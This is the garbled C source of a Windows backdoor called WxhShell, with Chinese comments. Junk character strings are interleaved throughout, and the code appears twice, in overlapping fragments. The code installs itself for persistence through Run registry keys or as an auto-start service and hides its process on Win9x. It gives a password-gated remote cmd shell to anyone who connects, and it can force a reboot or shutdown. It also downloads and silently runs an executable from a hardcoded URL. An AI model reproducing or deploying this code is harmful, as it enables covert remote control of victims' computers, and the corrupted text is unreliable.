v 4)Y=)#= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W2h^ShG g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 061@N=p8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nIVPh99 _$/(l4\T[ if (!NtQueryInformationProcess) return 0; k^gnOU ; NC::;e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +:w9K!31- if(!hProcess) return 0; ?}^e,.M0?s Q1V 4bmM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kK!An!9C u>:sXm CloseHandle(hProcess); #tG/{R X~abn7_ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |x3(Tf if(hProcess==NULL) return 0; aE.T%xR !!f)w!wW HMODULE hMod; 7]a6dMh char procName[255]; R:YX{Tq unsigned long cbNeeded; !]qwRB$5 8YFfnk if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u#XNl":x Vea>T^ CloseHandle(hProcess); !pl< *{:FPmDU if(strstr(procName,"services")) return 1; // 以服务启动 }_}C ^ >L#&L?# return 0; // 注册表启动
04NI.Jv } !$hrK6o ~$w-I\Q! // 主模块 cF_`m int StartWxhshell(LPSTR lpCmdLine) hf P}+on% { #
4`*`)% SOCKET wsl; V_Kpb*3 BOOL val=TRUE; ,eD@)K_: int port=0; "_jczr$* struct sockaddr_in door; 7)G- EAF |mV*HdqU if(wscfg.ws_autoins) Install(); OtJYr1:y_ pgT{#[=> port=atoi(lpCmdLine); &!JX
{6'5K
U*RH if(port<=0) port=wscfg.ws_port; =3lUr<Ze F>&Q5Kl R WSADATA data; Oa\!5Pw1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ac<V!v71 _={*<E if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^dH#n~Wx0 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a_'W1ek-@ door.sin_family = AF_INET; <9eQ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wfkm'BnV door.sin_port = htons(port); 2S}%r4$n} qQ%zSJ? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ORlz1&hW closesocket(wsl); ftF?T.dx return 1;
OM{-^ } By6C+)up NZYtA7 if(listen(wsl,2) == INVALID_SOCKET) { <I'kJ{" closesocket(wsl); MGX %U6 return 1; x_{ua0BLDf } z.oDH<1 Wxhshell(wsl); ?qYw9XQYL WSACleanup(); 1t=Y+|vA9 (:].?o return 0; bG67TWY) ?I)-ez } ~|@ aV:k wcP0PfY // 以NT服务方式启动 ~ C6<75 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9+h9]T:9 { 8e)k5[\m DWORD status = 0; [ivz/r(Rj DWORD specificError = 0xfffffff; @^}
%
o-: K+Al8L?K_ serviceStatus.dwServiceType = SERVICE_WIN32; "Q'#V! serviceStatus.dwCurrentState = SERVICE_START_PENDING; J]nb;4w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?mS798=f serviceStatus.dwWin32ExitCode = 0; 4JFi|oK0H serviceStatus.dwServiceSpecificExitCode = 0; &M=12>ah] serviceStatus.dwCheckPoint = 0; neJNMdv@T serviceStatus.dwWaitHint = 0; g}|a- fGb(=l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IV_uf if (hServiceStatusHandle==0) return; rX%#Q\0h -% PUY( status = GetLastError(); =A9>Ej/ if (status!=NO_ERROR) *aS|4M- { a)PBC{I serviceStatus.dwCurrentState = SERVICE_STOPPED; qqQnL[`)C serviceStatus.dwCheckPoint = 0; FyJI@PZdI- serviceStatus.dwWaitHint = 0; Mkko1T=6 serviceStatus.dwWin32ExitCode = status; !(F+~, serviceStatus.dwServiceSpecificExitCode = specificError; (\.[pj%-O SetServiceStatus(hServiceStatusHandle, &serviceStatus); [yL%+I return; <%<}];bmFL } I(P|`" D; H</5#Q serviceStatus.dwCurrentState = SERVICE_RUNNING; vTQQd@ serviceStatus.dwCheckPoint = 0; rw8O<No4.o serviceStatus.dwWaitHint = 0; {o+aEMhM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PV(bJ7&R } 9fMg? jpZX5_o // 处理NT服务事件,比如:启动、停止 gl:vJD VOID WINAPI NTServiceHandler(DWORD fdwControl) T,Cq;|g5E { = t<!W switch(fdwControl) -aLBj?N c[ { \% !]qv case SERVICE_CONTROL_STOP: u9"b,].b serviceStatus.dwWin32ExitCode = 0; 'IFbD["r serviceStatus.dwCurrentState = SERVICE_STOPPED; j\q1b:pE serviceStatus.dwCheckPoint = 0; wd~e3%JM serviceStatus.dwWaitHint = 0; 8|{:N>7 { X}0NeG^'O SetServiceStatus(hServiceStatusHandle, &serviceStatus); X|L.fB= } jWiZ!dtUZ return; ,;;M69c[
x case SERVICE_CONTROL_PAUSE: 7 ;|jq39 serviceStatus.dwCurrentState = SERVICE_PAUSED; N'Ywn}!js break; F0o7XUt case SERVICE_CONTROL_CONTINUE: MG[?C2KA/ serviceStatus.dwCurrentState = SERVICE_RUNNING; z
4Qz9#*"^ break; B{H;3{0 case SERVICE_CONTROL_INTERROGATE: 'SYj Ehvw break; n7
4?W }; muT+H(Z p} SetServiceStatus(hServiceStatusHandle, &serviceStatus); jr~ +}|@{ } -
4' yp G~a;q+7v'$ // 标准应用程序主函数 y1cAw int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6=Kl[U0Y { RZjTUMAz4 [WXtR // 获取操作系统版本 dE_BV=H{ OsIsNt=GetOsVer(); ~e{AgY) GetModuleFileName(NULL,ExeFile,MAX_PATH); .Di+G-#aEs 5oGnPF // 从命令行安装 knh^q;q* if(strpbrk(lpCmdLine,"iI")) Install(); mV@.JFXKP "Vho`x3 // 下载执行文件 SEr\ u# if(wscfg.ws_downexe) { 2U2=ja9:Y if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '|':W6m, WinExec(wscfg.ws_filenam,SW_HIDE); YTL [z:k} } I"#jSazk [X#bDO<t if(!OsIsNt) { -0YS$v%au> // 如果时win9x,隐藏进程并且设置为注册表启动 0@C`QW%m HideProc(); g % q7 StartWxhshell(lpCmdLine); j^llO1i/ } 3T# zxu else Ayc}uuu if(StartFromService()) }/x `w // 以服务方式启动 a^iefwsNc StartServiceCtrlDispatcher(DispatchTable); $.R$I&U else r&A#h;EQX2 // 普通方式启动 3lMmSKN StartWxhshell(lpCmdLine); g v&xC 6> +z+25qWi return 0; ^(V!vI* } 1{_tV^3@ fxI>FhU_ ]]d9\fw D}HW7Hnu^ =========================================== +I/7eIG?| ~ d/Doi v#IW;Rj8 %g5weiFM E+dr\Xhv DvF`KHsy " W>wIcUP<< %LXk9K^]e #include <stdio.h> r9%4q4D?>9 #include <string.h> *^=`HE89S #include <windows.h> llhJ,wD #include <winsock2.h> (nbqL+ #include <winsvc.h> 6NZ3( #include <urlmon.h> [ k^6#TQcn $bF.6 #pragma comment (lib, "Ws2_32.lib")
8yOzD #pragma comment (lib, "urlmon.lib") /jC0[%~jV R5X<8(4p #define MAX_USER 100 // 最大客户端连接数 ]Q-ON&/ #define BUF_SOCK 200 // sock buffer #PVgx9T=_ #define KEY_BUFF 255 // 输入 buffer IJD'0/R'c Axk
p #define REBOOT 0 // 重启 nrUrMnlg #define SHUTDOWN 1 // 关机 9^4^EY# Sl:Qq! #define DEF_PORT 5000 // 监听端口 N1\u~%AT" \x(J vDt #define REG_LEN 16 // 注册表键长度 d5T0#ue/e #define SVC_LEN 80 // NT服务名长度 |ZJ]`qmZ @8DBLn w // 从dll定义API 4M i*bN, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bo <.7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l4O}># typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I= x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pHsp]a |m"2B]"@ // wxhshell配置信息 jsf=S{^2 struct WSCFG { YCeE?S1gk3 int ws_port; // 监听端口 ZJP.-` U char ws_passstr[REG_LEN]; // 口令 A_{QY&%m int ws_autoins; // 安装标记, 1=yes 0=no gA2Il8K char ws_regname[REG_LEN]; // 注册表键名 .7g^w+W char ws_svcname[REG_LEN]; // 服务名 j Z3N+_J1 char ws_svcdisp[SVC_LEN]; // 服务显示名 v8y77: char ws_svcdesc[SVC_LEN]; // 服务描述信息 @H@&B`K d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?fnJ`^|-r int ws_downexe; // 下载执行标记, 1=yes 0=no k>K23(X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g/lv>*+gS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~fAdOh ^ ^} }; Z2PLm0%: d{9rEB? // default Wxhshell configuration F{[2|u(4 struct WSCFG wscfg={DEF_PORT, [bJ"*^M) "xuhuanlingzhe", 4eU};Pv 1, '@AK0No\W "Wxhshell", 3iV/7~
O "Wxhshell", W7l/{a
@ "WxhShell Service", *VIM!/YW "Wrsky Windows CmdShell Service", %ia/i : "Please Input Your Password: ", .<u<!fL2 1, _66zXfM< "http://www.wrsky.com/wxhshell.exe", hs2f3;) "Wxhshell.exe" (vz)GrH> };
:?@d\c' y:iE'SRRK6 // 消息定义模块 VpWax]' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A8e b{qv char *msg_ws_prompt="\n\r? for help\n\r#>"; [9z<*@$- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
_"%d9B char *msg_ws_ext="\n\rExit."; ^KF char *msg_ws_end="\n\rQuit."; $*xnq%A char *msg_ws_boot="\n\rReboot..."; |I^\|5 char *msg_ws_poff="\n\rShutdown..."; I =qd\ char *msg_ws_down="\n\rSave to "; W5
fO1F R|$=Pfg~4 char *msg_ws_err="\n\rErr!"; }&y>g0$@ char *msg_ws_ok="\n\rOK!"; m3F.-KPO }-V .upl char ExeFile[MAX_PATH]; ?j?{}Z int nUser = 0; %a8'6^k HANDLE handles[MAX_USER]; HpDU:m int OsIsNt; ~b3xn T G/Kz_Y, SERVICE_STATUS serviceStatus; %Q1v8l.} SERVICE_STATUS_HANDLE hServiceStatusHandle; R@=ve
%a- Rk"VFe>r // 函数声明 viD+~j18 int Install(void); , *e^,|# int Uninstall(void); 6\\B{%3R2 int DownloadFile(char *sURL, SOCKET wsh); > :!faWX int Boot(int flag); lr +Kwve void HideProc(void); +@Fy) {C7 int GetOsVer(void); OZ![9l int Wxhshell(SOCKET wsl); mrqCW]#u void TalkWithClient(void *cs); &KbtW_ int CmdShell(SOCKET sock); ]=WJ%p1l int StartFromService(void); KKGAk\X int StartWxhshell(LPSTR lpCmdLine); YDi_Gl$ oxPOfI1%] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U[U$1LSS VOID WINAPI NTServiceHandler( DWORD fdwControl ); +'uF3-+WY 6M"J3\
x // 数据结构和表定义 z;#}uC SERVICE_TABLE_ENTRY DispatchTable[] = q&jZmr { [53@'@26 {wscfg.ws_svcname, NTServiceMain}, +]I;C {NULL, NULL} eff6=DP }; 6}C4 SZ |A'8 'z&q // 自我安装 R!*UU'se int Install(void) bt%k;Z] { f@\
k_ char svExeFile[MAX_PATH]; cX7xG U HKEY key; L.U [eH strcpy(svExeFile,ExeFile); H!Uy4L~> eK/[jxNO // 如果是win9x系统,修改注册表设为自启动
U QXT&w if(!OsIsNt) { .X_k[l 9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .g(yTA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IJS9%m# RegCloseKey(key); .A\9|sRZ5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T6OIb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tud[VS?99 RegCloseKey(key); ;lW0p8 return 0; 0u'2f`p* } TQE 3/I L } \{{B57/Isq } o6xl,T% else { E|6X.Ny]
}4cLU.L8O // 如果是NT以上系统,安装为系统服务 U
g]6i+rp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d";+8S if (schSCManager!=0) cFGP3Q4{ { n$5,B* SC_HANDLE schService = CreateService 0RtqqNFD ( %pL
,A5M schSCManager, e_k1pox]l wscfg.ws_svcname, ,_u8y&<|I wscfg.ws_svcdisp, ThJLaNS SERVICE_ALL_ACCESS, 4xtbP\= SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }(op;7 SERVICE_AUTO_START, N=tyaS(YJ SERVICE_ERROR_NORMAL, +s1+;VUs3 svExeFile, /LuwPM NULL, jTSw 0\} NULL, *ubLuC+b NULL, 9g^@dfBV NULL, :#d$[:r# NULL [ {lF1+];@ ); {s=QwZdR if (schService!=0) aina6@S { &IXr*I CloseServiceHandle(schService); sKn>K/4JZ CloseServiceHandle(schSCManager); :E4i@ O7% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cU%#oEMf< strcat(svExeFile,wscfg.ws_svcname); :ozHuHJ# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D~NH 4B RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dfc-#I
p? RegCloseKey(key); FEU$D\1y return 0; Lkqu"V } 2#T|+mKxZM } r'{pTgm# CloseServiceHandle(schSCManager); kRSu6r9 } 'PV,c|f> } JS({au *bmk(%g return 1; A){kitx-i) } I0m/ /A|ofAr) // 自我卸载 "^22Y}VB int Uninstall(void) ;\4}Hcg { 5 xTm] HKEY key; _V-@95fK ;[gv-H if(!OsIsNt) { L
G{N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7lR(6ka&/ RegDeleteValue(key,wscfg.ws_regname); P1Re7/ RegCloseKey(key); 47`{ e_YP0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t!D=oBCro RegDeleteValue(key,wscfg.ws_regname); 9co
-W+ RegCloseKey(key); *v l_3S5_ return 0; dr,j~ s } 3~s0ux[ } 6NJ La|&n } U
NQup;#h else { 9XobTi3+' ?D57HCd`n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); () b0Sh= if (schSCManager!=0) =*8"ci$ { !Q cgTW)T SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lSXhHy if (schService!=0) }! zjj\g^ { W!XFaA$ if(DeleteService(schService)!=0) { 7D9R^\K CloseServiceHandle(schService); LEyn1d CloseServiceHandle(schSCManager); {:S{a+9~ return 0; ; bP7| } |06J4H~k CloseServiceHandle(schService); Yk?uxZ4)H } e!eWwC9u CloseServiceHandle(schSCManager); rLh490@ } ,_\h)R_ } <0v'IHlZ8 -s:JD J* return 1; sDJ5'ul } Br\/7F V&h,v%$ // 从指定url下载文件 eA{,=,v) int DownloadFile(char *sURL, SOCKET wsh) t
m5>J)C { 9L!Vj J HRESULT hr; 4.H!rkMM char seps[]= "/"; ``aoLQc` char *token; >%Y.X38Z[ char *file; ,A[HYc|uy char myURL[MAX_PATH]; ]vKxgfF char myFILE[MAX_PATH]; .u
W_(Rqg gj6"U{D strcpy(myURL,sURL); ` Bkba: token=strtok(myURL,seps); {oBVb{< while(token!=NULL) Z U
f<s? { {D`F$=Dlw file=token; 'DntZK token=strtok(NULL,seps); 0vQkm< } "]zq<LmX @OwU[\6fc} GetCurrentDirectory(MAX_PATH,myFILE); >6jyd{ strcat(myFILE, "\\"); R`TM@aaS: strcat(myFILE, file); _@?]!J[ send(wsh,myFILE,strlen(myFILE),0); w:z_EV!& send(wsh,"...",3,0); ~@itZ,d\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {) Y
&Vr5 if(hr==S_OK) tH>%`: return 0; V+Cb.$@ else My)}oN7\z return 1; u"C`S<c TN/I(pkt1B } L d# ]6=cSs! // 系统电源模块 %[NefA( int Boot(int flag) pjjs'A*y { r8Gq\ ^ HANDLE hToken; 6"ZQN)7 TOKEN_PRIVILEGES tkp; 1<bSH n9 z^Oiwzo if(OsIsNt) { Z [68ji] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <;v{`@\j{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x6:$lZ( tkp.PrivilegeCount = 1; "* 'rzd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w5qhKu!1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5
0~L(< if(flag==REBOOT) { s2w.V
O
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '|WMt g return 0; $t}L|"=8X } ap;*qiNFQ else { i$%;z~#wW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 63:ZDQ return 0; xvpS%MS } Oe2Tmvl } E.6^~'/ else { {
"$2 if(flag==REBOOT) { Kpj0IfC,10 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d*q_DV return 0; li/O&@g` } Q?[k>fu0 else { {/#?n[" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) atl0#F Bd return 0; &yVii^ } ;'=!Fv } K})j5CJ/ {yspNyOx return 1; /\#qz.c2K } N;Hf7K 1*>a // win9x进程隐藏模块 *pI3"_ void HideProc(void) 2"V?+Hhz { #c?\(qjWA tw*qlb FHv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )O2^?Q quS if ( hKernel != NULL ) _NqEhf:8 { "%>/rh2Iq pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (VBoZP=W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m[Zz(tL FreeLibrary(hKernel); +yCIA\i#t6 } M=0I 3o}J TioI$?l>W( return; N'2u`br4KP } fa<83<.D [!bTko>rSB // 获取操作系统版本 z
KJ6j ]m int GetOsVer(void) &a48DCZ { wPqIy}- OSVERSIONINFO winfo; Qj0@^LA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r,yhc = GetVersionEx(&winfo); |? r,W~9` if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c#CX~ return 1; ;[dcbyu@ else dVCBpCxI return 0; !>t|vgW } rJ!xzge;G UXIq>[2Z1 // 客户端句柄模块 .F
3v) int Wxhshell(SOCKET wsl) 3(FJ<,"D} { 7%)4cHZ^$? SOCKET wsh; 0YIvE\- struct sockaddr_in client; ChmPO|2F DWORD myID; vK2L"e `n5|4yaG~ while(nUser<MAX_USER) "p$`CUtI { Ce`{M&NSWX int nSize=sizeof(client); jsi\*5=9p< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *W#x#0j if(wsh==INVALID_SOCKET) return 1; 6ng
.
= 'SOp!h$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ULQ*cW&;? if(handles[nUser]==0) ^5"s3Qn closesocket(wsh); W@pVP4F0xM else 2/>AmVM nUser++; ,v)@&1Wh: } .sjM$#V= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z@<`] 0v',+- return 0; ]S%qfna e1 } F=d#$-yg CS6,mX // 关闭 socket =b !f void CloseIt(SOCKET wsh) 5:56l>0 { #l:qht closesocket(wsh); Xg.\B1d nUser--; r7w&p.? ExitThread(0); >Qt#6X| } mC J/gWDY E!3W_:Bs // 客户端请求句柄 -
n11L void TalkWithClient(void *cs) n%Nf\z { a.c2ScXG T#er5WOH SOCKET wsh=(SOCKET)cs; lR;<6 char pwd[SVC_LEN]; e2/&X;2 char cmd[KEY_BUFF]; h r t\ char chr[1]; [/5>)HK} C int i,j; `iQyKZS/+ dsJ}C|N while (nUser < MAX_USER) { m<"1*d~ `2S%l,>)# if(wscfg.ws_passstr) { M,cI0i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MLa]s*
; d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BflF*-s ^ //ZeroMemory(pwd,KEY_BUFF); P1z6sGG i=0; !|Vjv}UO while(i<SVC_LEN) { u%h]k ,(E |h6)p;`gc // 设置超时 qj/ 66ak fd_set FdRead; Ct"h.rD ] struct timeval TimeOut; 1Pn!{ bU3@ FD_ZERO(&FdRead); ;~/ FD_SET(wsh,&FdRead); o+6Y/6Xp@ TimeOut.tv_sec=8; 1VJE+3 TimeOut.tv_usec=0; ,n&Dg58K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G7zfyw}W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .hT^7|Jz[ WY<ip< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OEZXV ;F pwd=chr[0]; T[ky7\ if(chr[0]==0xd || chr[0]==0xa) { /mqEc9sq, pwd=0; SU
H^ ]4> break; S}*#$naK } CEI#x~Oq i++; 0]i#1Si~@ } e|Lh~sVq NaAq^F U // 如果是非法用户,关闭 socket |$6GpAq! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PT>,:zY } #pOW2 Uj8\ &/a/V send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dr`A4LnqY send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &=_YL )[%#HT while(1) { 9)H~I/9Y @R`OAdy ZeroMemory(cmd,KEY_BUFF); ?WUu@Z iCz,|;w% // 自动支持客户端 telnet标准 =o+t_.)N j=0; Lqwc:%Y:_ while(j<KEY_BUFF) { g($ y4~# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N2q'$o cmd[j]=chr[0]; ~-'nEA TE if(chr[0]==0xa || chr[0]==0xd) { MPM_/dn- cmd[j]=0; ! =|{ break; X*d,z~k%*d } @0Tm>s j++; [&)9|EV } #l{qb]n] *-` /A // 下载文件 m#'u;GP]k if(strstr(cmd,"http://")) { ii{5z;I]X send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,X9Y/S
l if(DownloadFile(cmd,wsh)) CX\#
|Q8q send(wsh,msg_ws_err,strlen(msg_ws_err),0); LTFA2X&E= else y{"8VT) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L88oh&M } \s+<w3 else { s)_sLt8? 9SMM%(3, r switch(cmd[0]) { u3ce\ ><^A4s // 帮助 tXPS@4F case '?': { W99Fb+$I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |V:k8Ab break; h*d&2>"0m? } }2JSa8 // 安装
"&v?> case 'i': { I,t 0X) if(Install()) GRlA9Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); &ec_jxF else zBqr15 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qdO^)uJJ break; C.(<KV{b } ,!u^E|24
// 卸载 #YhKAG@| case 'r': { saYn\o"m if(Uninstall()) :t9(T?2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "T#c#? else )3z.{.F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nb(se*Y# break; B/pNM81( } 5.5dB2w // 显示 wxhshell 所在路径 ilpg() case 'p': { N[zI@>x char svExeFile[MAX_PATH]; 42Ql^ka strcpy(svExeFile,"\n\r"); $mp7IZE| strcat(svExeFile,ExeFile); Lf7iOW9U3 send(wsh,svExeFile,strlen(svExeFile),0); ,]20I _ break; PP$Ig2Q } 1AA(qE // 重启 Yo(8mtYU case 'b': { i~k?k.t8 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qdUlT*fw if(Boot(REBOOT)) F'|,(P send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^3AJYu else { -/7[_, closesocket(wsh); |
M-@Qvgh ExitThread(0); /`2VJw } %xWmzdn break; .{)b^gE } Z&J417buk // 关机 ZL~}B.nqS case 'd': { bNIT 1'v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p4(- if(Boot(SHUTDOWN)) r|rV1<d send(wsh,msg_ws_err,strlen(msg_ws_err),0); cCWOGd else { -hhE`Y closesocket(wsh); /sJk[5!z ExitThread(0); pmHd1 Wub } rA{h/T" break; _czLKbcF } OM2|c}]ZQ // 获取shell v }P~g case 's': { ;#f_e; CmdShell(wsh); j:U>V7Kn3~ closesocket(wsh); h_y<A@[P} ExitThread(0); ChGwG.-%L break; h-!(O^M } eYR/kZ%< // 退出 C:gE
case 'x': { 1&wZJP= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t41\nTZr CloseIt(wsh); -YSn 3= break; +$8hTi, } 5nf|CQH6? // 离开 0@3g'TGl case 'q': { -c|O!Lc- send(wsh,msg_ws_end,strlen(msg_ws_end),0); @{t^8I#] closesocket(wsh); @RT yCr WSACleanup(); MS,H12h exit(1); bYG}CO break; L\hPw{) } `1pri0! } )?Jj#HtW } y]cx}9~ VVCCPK^< // 提示信息 zIRa%%.i< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gU+BRTZ&x } (Grj_p6O } V@cRJ3ZF mb\vHu*53 return; @/|sOF;8W } Z(U&0GH` y "7TO# // shell模块句柄 G++kUo< int CmdShell(SOCKET sock) B}r@x z { D.$EvUSK<. STARTUPINFO si; /R@(yT=t ZeroMemory(&si,sizeof(si)); <|.S~HLTQ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @LwhQ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sM~CP zMa PROCESS_INFORMATION ProcessInfo; +R#*eo;o7 char cmdline[]="cmd"; Nnv&~D> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,0#OA*0B return 0; $OjsaE% } i.K}(bo;b nJ2l$J< // 自身启动模式 U.>n]/& int StartFromService(void) ,9W 0fm\t { t}*teo[ typedef struct 3PBg3Y$ { !gJAK<]iW DWORD ExitStatus; R<JI DWORD PebBaseAddress; = ng\ DWORD AffinityMask; ?A2EuvQH] DWORD BasePriority; =X% D;2 ULONG UniqueProcessId; ;Oe6SNquT ULONG InheritedFromUniqueProcessId; hM>xe8yE } PROCESS_BASIC_INFORMATION; vuw1ycy) ?\^u},HnE| PROCNTQSIP NtQueryInformationProcess; )xTp7YnZ; bh+R9~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ed\,FWR static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '7_'s1 _^&oNm1 HANDLE hProcess; NK"y@)%0 PROCESS_BASIC_INFORMATION pbi; D8Ni=.ALL I`5MAvP HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Vut4px if(NULL == hInst ) return 0; "q]v2t u45e>F= g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V|b?H6Q g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zRf]SZ(tO NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YK"({Z>U ZO0_:T#Z if (!NtQueryInformationProcess) return 0; _KD(V2W ijoR(R^r hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +86\&y) if(!hProcess) return 0; .:<c[EJ
b dcXtT3,kpX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6 t A?<S +cjNA2@ CloseHandle(hProcess); u&pLF%'EQ
